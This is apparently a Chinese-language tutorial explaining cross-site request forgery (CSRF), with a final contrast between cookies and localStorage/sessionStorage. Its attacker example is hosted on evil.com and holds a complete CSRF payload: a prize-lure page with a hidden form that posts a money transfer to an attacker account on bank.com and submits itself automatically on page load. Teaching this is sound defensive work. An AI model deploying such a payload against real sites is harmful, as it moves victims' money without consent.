CSRF(cross-site request forgery)跨域请求访问
CSRF 当我们在成功登录一个网站后,会将后端返回的cookie数据进行存放,每一次访问该域名都会将cookie存放在请求头,也就相当于用户登录凭证,
但这种同域自动携带cookie存在一种问题 那就是当恶意网站也进去请求时,同样可伪造成正在登录的用户。
www.bank.com
<!-- /transfer-form 页面上的代码 -->
<form method="post" action="/transfer"><input type="hidden" name="csrfToken" value="abc123xyz789" /><input type="text" name="amount" placeholder="金额" /><input type="text" name="routingNumber" placeholder="路由号" /><input type="text" name="account" placeholder="账户" /><input type="submit" value="Transfer" />
</form>
伪造页面
该请求携带cookie的数据
<!-- 假设放在攻击者的站点 evil.com -->
<html><body><h1>你中奖了!点击下方领取奖金!</h1><form method="post" action="https://bank.com/transfer"><input type="hidden" name="amount" value="100.00" /><input type="hidden" name="routingNumber" value="999999" /><input type="hidden" name="account" value="attackerAccount123" /><input type="submit" value="Win Money!" /></form><script>// 自动提交:用户无需点击任何按钮,访问即发起转账document.forms[0].submit();</script></body>
</html>
那能获取本地存储(localStorage)和会话存储(sessionStorage)的数据吗
首先说一下这两者的特点
本地存储长期存在我们的浏览器,及时浏览器关闭也不会丢失。
会话存储仅在当前tab中有效,tab关闭我们的数据也就随之丢失了
但两者有个共同特点 仅在当前域下可以访问。
所以CSRF 攻击主要依赖于 Cookie,因为浏览器会自动发送它,攻击者无法直接操控 localStorage
或 sessionStorage
来发起 CSRF 请求。